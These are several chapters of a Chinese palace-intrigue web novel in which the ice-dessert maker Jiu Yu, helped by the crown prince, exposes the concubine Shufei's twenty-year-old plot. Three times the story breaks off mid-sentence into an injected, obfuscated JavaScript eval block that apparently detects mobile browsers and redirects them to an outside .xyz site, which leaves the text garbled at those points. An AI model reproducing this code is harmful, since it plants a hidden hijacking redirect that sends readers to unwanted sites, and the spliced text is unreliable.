久榆倒吸冷气。龙骨指的是安远号的船骨,传说船上藏着沈林通敌的铁证。她想起大副手中的怀表,表盖内侧的刻字或许只是引子,真正的证据藏在船骨里? "太子最近频繁接触西洋商人。"赵州从怀里掏出半张航线图,边缘染着水渍,"这些人打着贩卖冰酪方子的旗号,实则在查当年安远号的货物清单。" 楼上突然传来瓷器碰撞声,夹杂着男子的笑声:"久姑娘果然守信。" 太子斜倚在窗前,月光给他玄色锦袍镀上冷边。他指尖转着那支银簪,忽然松手让它坠入盛满冰水的铜盆:"听说先皇后临终前,将半块兵符藏在冰酪里?" 水面突然泛起涟漪,银簪沉底时,簪头寒梅竟缓缓张开,露出藏在花蕊里的小字:"沈林与番邦相约,以冰窖为藏兵之所"。久榆浑身血液凝固,终于明白为何江心岛冰窖被毁得如此彻底——那里根本不是藏冰之处,而是藏着足以颠覆王朝的兵力! "殿下可知,淑妃兄长近日私铸的铜钱,纹路与安远号官钱一致?"她从袖中取出那枚刻着"沈"字的铜钱,"当年沈林贪墨的官银,怕是被铸成了兵器,藏在冰窖之下。" 太子猛地起身,腰间玉佩"当啷"坠地。玉佩裂开处,掉出半片龙鳞甲,与久榆地窖里的那半块严丝合缝。窗外突然传来箭矢破空声,一支羽箭擦着太子耳畔钉入立柱,箭尾绑着张字条:"再查下去,长宜斋的冰酪里会永远缺一味糖。" 久榆攥紧了袖口。她知道这是警告,更是威胁。二十年前的大火能烧毁安远号,能烧死护船统领,如今他们也能让小小的冰酪铺从京城消失。但当她看见太子掌心的龙鳞甲,看见他眼底闪过的锐意,忽然想起父亲说过的话:"好的冰酪容不得杂质,好的王朝更容不得蛀虫。" "明日是立夏,按惯例要赐冰于百姓。"太子忽然开口,声音里带着破釜沉舟的凉意,"久姑娘可会做一种叫''山河永固''的冰酪?用最清的冰水,混着东海的珊瑚碎,再撒上塞北的雪菊。" 久榆怔住。珊瑚碎象征疆土,雪菊代表边疆,这道冰酪分明是在暗喻——要将沉在海底的真相,混着鲜血与霜雪,重新呈到世人面前。她忽然想起皇后宫里那幅被掀开的字画,背后藏着的不仅是药瓶,更是先皇后未竟的夙愿。 "民女不仅会做,还知道该用何处的冰。"她摘下斗笠,露出颈间若隐若现的烧伤疤痕,"江心岛冰窖虽毁,但每年春日,江面上都会浮起当年冻在冰里的碎木片。那些木片里,或许藏着安远号的龙骨碎屑。" 太子眼中精光一闪,忽闻楼下传来嘈杂声。李安匆匆上楼,附耳低语几句,脸色瞬间惨白:"殿下,长宜斋...走水了!" 久榆猛地起身,撞翻了身后的茶盏。茶水在青砖上蜿蜒成河,倒映着窗外冲天的火光。她想起春桃今日穿的月白襦裙,想起老孙头总爱放在柜台的糖画模具,喉头突然泛起铁锈味——那是她的家,是藏着二十三个密信包的地方,是无数人以为安全的避风港。 "走!"太子抓住她的手腕,却被她反手推开。 "我的人还在里面!"她甩开绣鞋,踩着碎石往火场冲去。浓烟里传来春桃的咳嗽声,还有老孙头嘶哑的呼喊:"暗格里的东西...我都转移到井里了!" 久榆跌进地窖,井水漫过脚踝,冰凉刺骨。她摸到井壁暗格,取出用油纸裹着的包,打开时却愣住——里面不是密信,而是半块烧焦的木牌,上面"沈"字依稀可辨,旁边还有枚带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15506326|170497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着齿痕的铜钱。 "这是...小少爷的东西。"老孙头不知何时爬了进来,脸上挂着血痕,"当年我抱着他从火里冲出来,他咬着铜钱不肯松口...后来就没了气息。" 久榆浑身剧震。小少爷?她忽然想起父亲临终前血书里的"吾儿尚在",想起皇后说"原以为你们全家都葬身火海"。眼前闪过淑妃尖叫的脸:"她是林统领的女儿!"却独独没提...她还有个弟弟? "您...您就是当年的小小姐?"老孙头浑浊的眼里泛起泪光,"老爷让我带着小少爷逃生,说若遇不测,就用这木牌和铜钱为凭...可惜小少爷终究没挺过那场伤寒。" 久榆攥紧铜钱,指甲几乎掐进掌心。原来二十年前的大火里,父亲安排了两条退路:她被母亲推入密道,弟弟由老孙头带走。可命运弄人,弟弟还是没能活下来,唯有这枚带着齿痕的铜钱,成了血脉相连的最后证明。 "久姑娘!"赵州的声音从上方传来,"官兵封了整条街,说是私藏禁物!" 太子忽然跃下地窖,手中多了柄绣春刀:"跟我走。现在京中只有一处能护你——御膳房的冰库。" 久榆抬头,看见他眼里跳动的火光,忽然想起坤宁宫里皇后掀开字画的模样。原来有些事,从二十年前那把火开始,就早已织成了局。她将木牌和铜钱收入怀中,任由太子拉着她往出口跑,身后的长宜斋在火中轰然倒塌,扬起的烟尘里,她仿佛又听见父亲说:"好的冰酪容不得杂质..." 是的,这世道也容不得。 当五更的梆子声响起时,久榆站在御膳房冰库前,看着太子亲自为她打开铜锁。寒气扑面而来,她忽然想起江心岛的冰窖,想起那些被雪蚕散害死的人,想起先皇后藏在冰酪里的半块兵符。 "这里的冰,取自玉泉山千年不化的玄冰。"太子往她手里塞了个暖炉,"足够藏住任何秘密。" 久榆点头,指尖触到暖炉上的纹路——竟是缠枝莲。她忽然明白,为何太子会在此时伸出援手。先皇后是他的姑母,当年选秀时故意在皇后面前犯心悸的淑妃,或许早就知道,这深宫里最安全的地方,从来不是得宠的位置,而是让人误以为无害的角落。 "明日赐冰,我要亲自调制''山河永固''。"她望着冰库里层层叠叠的冰块,忽然有了主意,"劳烦殿下让人准备东海珊瑚碎、塞北雪菊,还有...江心岛的浮冰。" 太子挑眉:"你想借赐冰之机,让文武百官看见浮冰里的秘密?" "冰块入水即化,但有些东西不会。"久榆从袖中取出老孙头给的铜钱,"若将这枚铜钱冻入冰中,再混着珊瑚碎端上桌,诸位大人怕是要好好解释,为何二十年前的官钱,会出现在当今太子的冰酪里。" 太子大笑,笑声震得冰库顶部的霜花簌簌落下:"妙极。文武百官都以为沈氏已倒,却不知树根未除,春风吹又生。久姑娘可愿与本宫共饮这碗混着血与冰的甜汤?" 他伸出手,掌心躺着半块龙鳞甲,与久榆颈间的另一半遥遥相对。远处传来打更声,卯时已至,新的一天即将开始。久榆望着冰库里幽蓝的光,想起长宜斋被毁的瞬间,春桃抱着她的账本往外冲,老孙头护着井里的秘密不肯松手。 有些东西,是烧不掉的。就像冰酪里的良心,就像沉在江底的真相,就像一代又一代人藏在碎冰里的坚持。 她将龙鳞甲放入太子掌心,听见自己的声音在冰库里回响,清越如冰盏相击:"臣女愿意。但求这碗冰酪端上桌时,能化尽人间所有的腌臢。" 太子握住她的手,冰库里的寒气似乎都被这温度驱散。窗外,东方既白,第一缕晨光落在冰库的铜门上,映出两个交叠的影子,坚定而清晰。 这是新的开始,也是旧的终结。当太阳完全升起时,京城的百姓会捧着赐来的冰酪,在甜意里尝出一丝不易察觉的咸——那是沉在岁月深处的血与泪,也是终将破土而出的,朗朗乾坤。 11. 冰酪宴开 卯时三刻,御膳房蒸腾的热气里,久榆捏着珊瑚碎的手突然顿住。那抹嫣红在晨光中晃出细碎金光,竟与记忆中母亲妆奁里的点翠步摇颜色无二。她指尖微动,珊瑚碎簌簌落进冰盆,惊起一片霜雾——当年母亲就是用这支步摇划破追兵咽喉,将她推入密道时,步摇上的珍珠滚落在她脚边,沾着血珠,像极了此刻冰面上凝着的露水。 “久姑娘,雪菊到了。”小厨房的李婆子掀开棉帘,竹筐里的干花沾着塞北的风沙。久榆接过时,看见筐底压着半张残旧的邸报,头版“沈氏谋逆”的墨迹被水洇开,隐约露出底下“林统领护驾殉国”的小字。她指尖一颤,雪菊撒了些在冰面上,黄白相间的花瓣映着冰纹,像极了长宜斋废墟里春桃染血的罗裙。 太子倚在门框上,绣春刀穗子扫过青石板:“江心岛浮冰已用铅箱运来,只是...”他忽然凑近,盯着久榆腕间若隐若现的scar,“你确定要在冰酪里加雪蚕散?那东西入喉即封喉,当年先皇后...” “殿下可知,先皇后为何独独将半块兵符藏在冰酪里?”久榆打断他,拿起捣冰的玉杵,“因为这东西看似绵软,实则能冻住最锋利的刀刃。雪蚕散不过是引子,真正的杀招...”她手腕翻转,玉杵砸在冰块上,碎冰飞溅间露出铜钱的轮廓,“是让他们自己咬死自己。” 太子挑眉,忽然伸手握住她握杵的手,指腹擦过她掌心的茧:“你这双手,本该拿绣绷的。”久榆不动,任他的温度透过肌肤传来:“当年我母亲用这双手杀人时,也有人这么说。”话音未落,远处传来钟鸣——辰时到,早朝散了。 坤宁宫里,淑妃对着铜镜拨弄珍珠耳坠。镜中倒影与二十年前重叠,那时她还是个秀女,故意在皇后面前抚心咳嗽,换来一句“这孩子倒像哀家未出阁时”。耳坠突然断裂,珍珠滚落在地,她望着满地碎光,忽然想起昨夜密报里的“御膳房冰库”。 “娘娘,”贴身宫女香兰递来金丝软枕,“今早有人看见太子爷往冰库搬铅箱,说是...” “说是要制‘山河永固’冰酪。”淑妃冷笑,指尖捏碎一颗珍珠,“先皇后当年最爱的花样,如今倒成了孝心的由头。去,告诉林统领,就说本宫想看‘瑞雪兆丰年’的冰雕。”香兰一愣:“可那是...”“就说是皇上念着沈氏旧部,特意准的。”淑妃打断她,眼尾的胭脂扫过镜中自己的皱纹,“记住,要让全后宫都知道。” 长春宫的廊下,皇后正逗弄金丝雀。听闻淑妃要调冰雕匠人,她手中的粟米罐顿了顿:“淑妹妹倒是风雅,只是这节骨眼上...”她忽然松开笼门,黄雀扑棱着飞向天际,“去告诉御膳房,就说哀家想起先皇后爱用的九鸾金钗,怕是藏在哪个冰格里了。”掌事宫女领命而去,皇后望着雀影,嘴角泛起冷笑——先皇后的金钗早随葬了,可总有人记性不好,以为冰能藏住所有秘密。 巳时正,太和殿前的汉白玉阶上,三十六只青瓷冰盆依次排开。久榆隔着竹帘望去,看见林统领站在武将前列,腰间佩刀的穗子正是当年父亲亲赐的玄色。她指尖摩挲着袖中的龙鳞甲,忽然听见太子在身后低语:“林老狗今早换了三次佩刀,怕是嗅到血腥味了。” “殿下看那边。”久榆抬眸,淑妃的软轿正从西侧门进来,轿帘掀开一角,露出半幅织金翟衣。太子目光一凝:“她竟敢穿九翟?”“所以才要让她在众目睽睽下脱下来。”久榆转身,从宫女手中接过雕花银盘,盘中“山河永固”冰酪堆成小山,东海珊瑚碎点缀其间,江心岛浮冰雕成的楼阁立在顶端,远远看去,竟似一座水晶宫。 钟声三响,皇上携皇后、淑妃上座。久榆捧着银盘的手稳如磐石,路过林统领时,故意让冰酪上的碎冰溅在他靴面上。那碎冰落地即化,却在青砖上留下淡淡痕迹——是雪蚕散的粉末。林统领瞳孔骤缩,下意识摸向袖中解药,却触到一团湿润的布料,展开竟是半片染血的襁褓,边角绣着“沈”字暗纹。 “今日赐冰,乃太子孝心所致。”皇上抬手,“太子可愿为诸位爱卿讲讲这冰酪的妙处?”太子起身,腰间龙鳞甲随动作轻响:“此冰酪用玉泉山玄冰打底,混着塞北雪菊的清苦,最妙的是这浮冰楼阁...”他忽然顿住,目光落在淑妃身上,“淑母妃今日这身翟衣,倒与这楼阁的金丝雕花相得益彰。” 淑妃脸色微变,正要开口,久榆忽然踉跄跪地,银盘摔在地上,冰酪四溅。“奴婢该死!”她膝行向前,指尖划过林统领脚边的碎冰,“只是这浮冰里似乎冻着东西...”众人定睛看去,只见一块拳头大的冰块里,赫然嵌着枚带齿痕的铜钱,珊瑚碎混着雪菊落在周围,竟拼成“沈”字形状。 林统领猛然站起,佩刀出鞘三寸:“皇上明鉴,这分明是...”话未说完,他忽然捂住咽喉,面色发紫。淑妃惊呼出声,却见自己袖口渗出暗红汁液,竟将翟衣上的金线染成褐色——正是雪蚕散的征兆。皇后缓缓起身,手中握着支九鸾金钗:“淑妹妹,这金钗本宫记得该在先皇后陵中,怎么会在你轿子里?” 殿内哗然。太子扶起久榆,趁乱将半块龙鳞甲塞进她掌心:“该你了。”久榆抬头,看见皇上震惊的脸,想起老孙头临死前塞给她的血书——原来当年父亲护驾时,替皇上挡过一记,箭头碎片至今藏在御书房的龙案里。她深吸一口气,从怀中掏出木牌和襁褓:“启禀皇上,臣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15506327|170497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女乃沈相之女,这枚铜钱...是臣弟当年咬在口中的信物。” 淑妃踉跄后退,撞翻了身后的冰盆。碎冰滚落间,露出底下半块兵符,与久榆颈间的龙鳞甲严丝合缝。林统领喉咙里发出咯咯声,指着淑妃:“你...你说沈氏已灭...”“她当然希望沈氏死绝。”久榆逼近淑妃,“因为当年纵火的人,就是你!” 午时时分,阳光刺破云层,照在太和殿的金砖上。淑妃瘫坐在地,翟衣上的金线已被血水浸透,宛如一条垂死的蛇。她忽然笑起来,笑声里带着二十年的怨气:“没错!是我让人放的火!你们沈家挡了我的路,林统领又娶了你的母亲...她那样的人,凭什么让皇上念念不忘?” 皇上猛地站起:“你说什么?”“皇上难道不知,先皇后临终前喊的是‘阿宴’?”淑妃抬头,妆容糊成一片,“那是林夫人的小字!你以为沈相谋逆?不过是我让人在暗格里放了假兵符!”久榆浑身剧震,忽然想起父亲血书里的“勿信暗格”,原来早在二十年前,陷阱就已布好。 “还有你!”淑妃忽然指向皇后,“你以为我不知道你藏着先皇后的兵符?你们都以为冰能藏住秘密,可冰总会化的...”她话音未落,忽然剧烈抽搐,七窍流血而亡。久榆这才惊觉,她袖口的汁液里竟混着鹤顶红——原来她一早准备了退路,却没想到雪蚕散与鹤顶红相克,反而加速了毒发。 林统领也随之倒地,临死前死死盯着久榆:“你...你母亲...当年推开你的时候,喊的是‘阿宁’...和先皇后的封号...”话未说完,便断了气。久榆只觉天旋地转,原来母亲与先皇后竟是旧识,那句“吾儿尚在”,竟有两层意思——她既是沈氏女,也是先皇后托孤之人? 太子忽然握紧她的手,掌心的龙鳞甲与她的半块相触,发出清越的响声。皇上望着满地狼藉,忽然摆摆手:“都退下吧。太子,你留下。”久榆退到殿外时,听见皇上的叹息:“当年那场火...朕其实看见了烟里的‘沈’字暗语,只是那时刚登基,需要借沈氏立威...” 暮春的风带着暖意,吹散了冰酪的甜香。久榆站在御花园的老梅树下,望着手中的铜钱和龙鳞甲,忽然明白父亲为何说“好的冰酪容不得杂质”——原来这世道的腌臢,从来不是靠冰能冻住的,而是要等太阳升起,让真相的光将其晒化。 太子走来,身后跟着捧着冰盘的小太监:“尝尝吧,新制的‘清平乐’。”冰酪上撒着桂花,中间卧着枚晶莹的冰块,里面冻着半朵未谢的梅花。久榆咬下一口,甜中带酸,像极了记忆中母亲做的蜜渍青梅。远处,打更声响起,申时已至,新的棋局,才刚刚开始。 12. 冰宴迷局 暮春的雨来得猝不及防,久榆握着半块龙鳞甲站在储秀宫廊下,看雨水顺着琉璃瓦汇成珠帘。自太和殿那夜后,皇上再未召见她,倒是太子每日差人送来新制的冰酪,盒底总压着半阙《清平乐》的词笺。 “姑娘,慎刑司的人送来了淑妃的遗物。”丫鬟茯苓捧着漆盒掀开帘子,声音里带着忐忑。 漆盒里除了些首饰,最显眼的是本沾着香粉的账本。久榆翻到最后一页,目光忽然凝在“冰鉴司”三个字上。字迹边缘有被水洇过的痕迹,隐约能看见“戌初一刻,林氏入”的批注。她指尖一颤,想起林统领临终前未说完的话——母亲与先皇后的关联,或许就藏在这个被遗忘的机构里。 “备轿,去冰鉴司。”久榆将龙鳞甲塞进袖口,忽然注意到茯苓的耳坠轻轻晃动,那是淑妃赏过的翡翠双鱼坠。 冰鉴司位于后宫最西侧,蛛网密布的铜门后是整面墙的冰槽。久榆用火折子照亮,只见每个冰槽上都刻着妃嫔的封号,直到角落那个布满灰尘的小槽,刻着“宁妃”二字。先皇后的封号! 她蹲下身,发现槽底有暗格,推开时掉出半块玉佩,正面刻着“宁”,背面是朵梅花。久榆猛地想起母亲临终前塞给她的锦囊,里面正是半朵银梅。将两者拼合,竟现出“双生”二字。 “原来先皇后有个双胞胎妹妹。”身后突然响起太子的声音,久榆转身时,看见他手中握着块与自己的龙鳞甲,“二十年前那场火,其实烧死的是妹妹,而先皇后...” 话音未落,冰鉴司的屋顶突然塌下一角,无数冰块轰然坠落。太子猛地将久榆护在身后,碎石擦过他的脸颊,鲜血滴在久榆手背上。她闻到一丝若有若无的甜香,那是鹤顶红混着雪蚕散的气味。 “有埋伏!”太子拽着她冲向侧门,却见茯苓举着匕首堵在门口,翡翠耳坠折射着冷光:“姑娘莫怪,淑妃娘娘临终前叮嘱过,谁碰冰鉴司,就得死。” 久榆这才惊觉,茯苓耳坠里藏着机关,甜香正是从那里散发。她捏紧龙鳞甲,忽然想起父亲血书里的“冰融则明”,猛地将半块甲片按在墙上的冰槽里。墙面轰然翻转,露出密道的同时,茯苓的匕首也刺了过来。 千钧一发之际,太子抽出腰间软剑挡开,剑气震落头顶冰棱,正好砸中茯苓手腕。她惨叫着倒地,耳坠滚落,里面的粉末洒在冰块上,竟瞬间冒出蓝烟。 “是化骨粉。”太子踢开匕首,捡起耳坠细看,“淑妃当年就是用这东西毁了沈相暗格里的证据。” 久榆扶着墙走进密道,尽头是间石屋,中央放着个巨大的冰鉴。她鼓起勇气推开,眼前的景象让她险些跌倒——冰鉴里躺着具女尸,容貌竟与先皇后画像分毫不差,只是左眼角多了颗泪痣。 “这是...先皇后的妹妹?”太子举着火折子凑近,看见女尸颈间挂着的玉佩,正是久榆手中那半块的另半。 石屋墙上刻着字迹,虽已模糊,但“阿宴”“阿宁”的字样反复出现。久榆拼凑出大概:先皇后与妹妹自幼分离,妹妹化名“林宴”嫁入林家,却因皇上钟情姐姐而心生执念。二十年前那场火,是淑妃联手林宴设的局,目的是让皇上误以为沈相谋反,同时借刀杀人除去先皇后。 “可林统领为何要保护我?”久榆指尖划过冰鉴边缘,忽然摸到凹凸不平的刻痕,竟是组日期——正是她的生辰。 太子忽然握住她的手,将两块龙鳞甲拼合,冰鉴底部随即升起暗格,里面躺着本《调冰秘录》。翻开第一页,赫然是先皇后的笔迹:“吾妹阿宴替吾赴死,吾儿阿宁需以双生之身,护社稷安稳。” 久榆浑身剧震,终于明白母亲那句“吾儿尚在”的深意——她既是沈相之女,更是先皇后为保血脉延续而埋下的暗子。而太子手中的龙鳞甲,正是当年先皇后交给心腹的信物。 “皇上知道双生的秘密。”太子合上秘录,声音里带着痛楚,“所以他默许淑妃陷害沈相,因为沈氏掌握着先皇后的遗孤线索,而他需要用沈家的血,来掩盖真正的继承人。” 雨声渐急,密道外传来嘈杂的脚步声。久榆将秘录塞进衣襟,与太子对视一眼,同时握紧了龙鳞甲。这一刻,她终于明白父亲所说的“好的冰酪容不得杂质”——这世道的腌臢,从来不是靠冰能冻住的,唯有让真相的光晒化所有伪装。 出了冰鉴司,久榆望着漫天雨幕,忽然想起御花园的老梅树。或许,那棵树下还藏着更多秘密。而太子掌心的温度,让她第一次觉得,在这冰窟般的后宫里,终于有了可以并肩的人。 夜更深了,久榆在灯下翻开《调冰秘录》,发现里面夹着张泛黄的纸笺,上面是母亲的字迹:“冰融之时,可见真心。吾女阿宁,切记勿信表象。”她摩挲着纸笺,忽然听见窗外有冰碎裂的声音,像极了二十年前那场烧掉半座紫禁城的大火。 冬至那日,紫禁城飘起了今冬第一场雪。久榆穿着太子送来的鹤氅站在坤宁宫廊下,看宫人抬着冰鉴穿过甬道,里面装着要献给皇上的“瑞雪兆丰年”冰雕。 “姑娘,皇上宣您去乾清宫陪宴。”茯苓的声音从身后传来,自冰鉴司之乱后,这丫鬟竟像变了个人,每日寸步不离地跟着。 乾清宫里暖意融融,九龙壁前的铜炉烧着瑞脑香。皇上坐在龙椅上,目光扫过久榆时,闪过一丝复杂的神色。殿中央的冰雕缓缓旋转,竟是先皇后的半身像,眉眼之间与石屋里的女尸分毫不差。 “这是冰鉴司新制的‘镜花雪月’。”太子走到久榆身侧,低声道,“父皇最近总让他们复刻先皇后的模样。” 久榆注意到冰雕底座刻着梅花纹路,与母亲锦囊里的银梅如出一辙。正待细看,殿外忽然传来喧哗——一个身着白衣的女子被侍卫押了进来,披散的长发间沾着雪花,容貌竟与冰雕上的先皇后一模一样。 “皇上可还记得臣妾?”女子抬眸,左眼角的泪痣格外醒目,“二十年前,臣妾替姐姐死在那场火里,如今姐姐归天,臣妾该讨个公道了。” 满座皆惊。久榆握紧鹤氅下的龙鳞甲,听见身旁太子的呼吸骤然急促。皇上猛地站起,玉杯从手中滑落,碎在青砖上:“你...你不是已经...” “皇上是想说臣妾已经烧死了?”女子轻笑,任由侍卫扯下她的披风,露出里面绣着梅花的中衣,“当年姐姐让我穿上她的服饰引开追兵,却没想到,我命大,被林统领救了下来。” 林统领!久榆想起那夜他死前的话,原来他救的不是母亲,而是先皇后的妹妹。可母亲又为何会卷入其中? “放肆!竟敢冒充先皇后!”淑妃的侄子、如今的刑部尚书沈砚之拍案而起,“先皇后乃国母,岂能容你这等贱民玷污!” 久榆挑眉,这沈砚之是沈相堂侄,当年正是他带着人搜出“逆贼”兵符。她注意到他腰间挂着块羊脂玉,形制竟与冰鉴司的暗格钥匙相似。 “是不是冒充,皇上心里清楚。”女子忽然咳嗽起来,鲜血染红了衣襟,“臣妾中了雪蚕散,活不过今夜了。只是死前想问问皇上,当年沈相的兵符,是不是您让人放进暗格的?” 殿内温度骤降,皇上的脸瞬间惨白。太子伸手按住久榆的肩膀,她这才惊觉自己不知不觉已往前迈了半步。 “你胡说!”沈砚之抽出佩刀,却被太子的贴身侍卫拦下。久榆看见他袖口闪过的鹤顶红痕迹,与淑妃当日毒发时的一模一样。 “沈大人这么激动,莫不是怕真相败露?”久榆,故意将龙鳞甲露出一角,“当年淑妃在暗格放的假兵符,可曾经过沈大人的手?” 沈砚之脸色大变,下意识去摸腰间的玉佩。久榆心中了然,原来他才是当年那场阴谋的关键人物——或许,他根本就是淑妃的同党。 “皇上,臣妾还有一样东西要献给您。”女子从怀中掏出个小瓶,里面装着透明的液体,“这是冰鉴司的‘冰融水’,能化尽世间所有谎言。” 话音未落,她突然冲向皇上,将液体泼在龙书案上。众人惊呼后退,却见桌面竟冒出青烟,露出底层刻着的“沈氏当诛”四个字。久榆只觉天旋地转,这分明是皇上的笔迹,原来当年他真的明知沈相冤枉,却为了稳固皇位执意除之。 “父皇!”太子的声音里带着痛楚,“您当年答应过儿臣,会彻查沈相一案...” “住口!”皇上甩袖,却在看见女子泪痣时忽然软了语气,“阿宴,你当年为何不告诉我真相?若你肯说,朕...” “皇上心里只有姐姐。”女子苦笑,鲜血滴在冰雕上,竟将先皇后的面容腐蚀出裂痕,“臣妾替姐姐死,替姐姐受冻,可在您心里,始终只是个替身。” 久榆忽然想起《调冰秘录》里的记载,雪蚕散与冰融水相遇会产生剧毒。她想出声警告,却见女子已倒在冰雕碎块中,七窍流血而亡。皇上踉跄着扶住龙椅,眼中是久未见过的悲痛。 “把沈砚之押入大牢。”太子沉声下令,转头看向久榆时,目光里多了几分了然,“去御花园老梅树下,那里应该有你想知道的东西。” 雪越下越大,久榆在老梅树下挖出个铁盒,里面是母亲的日记。翻开第一页,日期正是二十年前失火那晚:“阿宴姐姐让我带宁儿先走,她说皇上多疑,唯有沈氏获罪,才能保双生血脉平安。可我没想到,淑妃竟在暗格放了兵符,更没想到,皇上会默许这一切...” 泪水模糊了字迹,久榆终于明白,母亲口中的“阿宴姐姐”竟是先皇后的妹妹,而自己真正的名字,是“宁”——先皇后为双生女儿取的封号。她握着龙鳞甲,忽然听见远处传来打更声,子时已至,这一场用冰筑成的谎言之宴,终究要在真相的晨光中崩塌。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15506328|170497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>回到坤宁宫,茯苓已备好热汤。久榆盯着她的翡翠耳坠,忽然轻笑:“淑妃已死,你还打算替她守着秘密到何时?” 丫鬟浑身一颤,耳坠掉在地上,露出里面藏着的字条:“冰融之日,取宁儿性命。”久榆按住她要掏匕首的手,指尖点在她腕间穴位:“我早该想到,能在冰鉴司设伏的,除了沈砚之,还有你这个淑妃的心腹。” 茯苓脸色惨白,刚要开口,窗外忽然飞进支弩箭,正中她咽喉。久榆惊觉抬头,只见雪地中闪过道黑影,腰间挂着的正是沈砚之的羊脂玉。 她握紧铁盒,知道接下来的路只会更险。但此刻,她终于不再是孤军奋战——太子掌心的温度,老梅树下的真相,还有母亲日记里的“冰融则明”,都在告诉她,有些冰,注定要在阳光下融化,而有些真相,必须有人站出来揭开。 子夜的钟声响彻紫禁城,久榆望着手中的龙鳞甲,忽然想起太子说过的“清平乐”冰酪——甜中带酸,正如这宫廷里的恩怨情仇。或许,真正的清平乐,从来不是靠冰封存的假象,而是让所有腌臢在阳光下无所遁形。 雪停了,东方泛起鱼肚白。久榆将母亲的日记塞进衣襟,摸了摸袖口的鹤顶红——那是从茯苓耳坠里取的,或许哪天会派上用场。她望向乾清宫方向,听见皇上的咳嗽声透过风雪传来,忽然觉得这紫禁城的冬天,似乎没有那么冷了。 正月十六,太液池的冰面刚化了三分。久榆跟着太子站在岸边,看内务府的人打捞去年冬天冻死的锦鲤。她穿着藏青色斗篷,怀里揣着从茯苓尸体上找到的钥匙,那是打开沈相旧宅暗格的关键。 “昨晚大理寺报,沈砚之在牢里服毒了。”太子将暖炉递给她,指尖不经意间划过她手背,“毒是鹤顶红,和淑妃当年用的一样。” 久榆点头,目光落在冰面中央的裂痕上。那裂痕呈梅花状,像是被什么尖锐物体从下往上撞开。她想起《调冰秘录》里的“冰下藏尸”之说,下意识攥紧了斗篷。 “姑娘,捞上来了!”为首的太监突然惊呼,手里的网兜竟拖着具骸骨,肋骨间还卡着半块龙鳞甲。 久榆只觉浑身血液凝固——那龙鳞甲的纹路,与她和太子手中的。太子猛地按住她的肩膀,力道大得让她生疼,而他眼中是前所未有的震惊。 “立刻封锁现场。”太子沉声下令,转头看向久榆时,声音已有些发颤,“那具骸骨...左手小指缺了半截。” 她猛地想起母亲临终前的模样,指甲缝里总藏着洗不掉的冰屑,而左手小指确实短了一截。原来母亲当年没有推开她,而是用身体护住了她,自己被倒塌的房梁砸中,坠入太液池的冰下。 “是母亲...”久榆跪坐在地,泪水砸在冰面上,“她当年不是弃我而去,是为了保护先皇后的遗孤...” 太子蹲下身,轻轻将她揽入怀中:“我查过卷宗,当年太液池冰面开裂的记录,正好是失火那晚。淑妃很可能知道先皇后有双生女儿,所以想借冰面杀人灭口,却没想到你被沈相救了,而林夫人...” 他的话被远处的马蹄声打断。一队禁军疾驰而来,为首的竟是新上任的御林军统领——林宴的侄儿林彻。久榆注意到他腰间挂着的玉佩,正是石屋里刻着“双生”的那类。 “太子殿下,皇上宣您即刻觐见。”林彻下马行礼,目光在久榆身上停留片刻,“这位姑娘,也请一同前往。” 乾清宫里弥漫着浓重的药味,皇上斜靠在龙榻上,面前放着太液池捞出的龙鳞甲。久榆看见他鬓角的白发,忽然想起母亲日记里的“少年天子”,那时的他,是否也如太子般眼中有光? “说说吧,都知道了什么。”皇上咳嗽着,指节捏得发白。 太子正要开口,久榆却道:“皇上想知道的,是先皇后的双生女儿,还是沈相被冤的真相?” 皇上猛地抬头,眼中闪过复杂神色。林彻手按剑柄,却被太子用眼神制止。 “二十年前,先皇后为保血脉,让妹妹阿宴假扮自己赴死,而真正的遗孤——封号‘宁’的公主,被沈相收养。”久榆掏出母亲的日记,“皇上明知沈相冤枉,却借淑妃之手除之,只为掩盖双生公主的存在,稳固皇位。” “住口!”皇上拍案而起,却引发剧烈咳嗽,“朕当年...朕是为了不让外戚干政!沈相若知道宁儿的身份,必定会挟公主以令天下!” “所以您就牺牲了沈氏满门,还有替先皇后赴死的阿宴?”久榆举起龙鳞甲,“可您没想到,先皇后留下了龙鳞甲为证,更没想到,淑妃会用冰鉴司藏尸,妄图永远掩盖真相。” 皇上踉跄着后退,撞翻了身后的药碗。林彻忽然抽出佩剑,剑尖直指久榆咽喉:“放肆!竟敢指责皇上!” 太子拔剑挡在她身前,龙鳞甲在阳光下折射出冷光: 13. 龙鳞惊变 乾清宫内剑拔弩张,太子的龙鳞甲与林彻的佩剑相撞迸出火星。久榆注意到林彻握剑的右手虎口处有块暗红色胎记,形状竟与母亲日记里提到的"赤龙印"吻合——那是前朝余孽的标记。 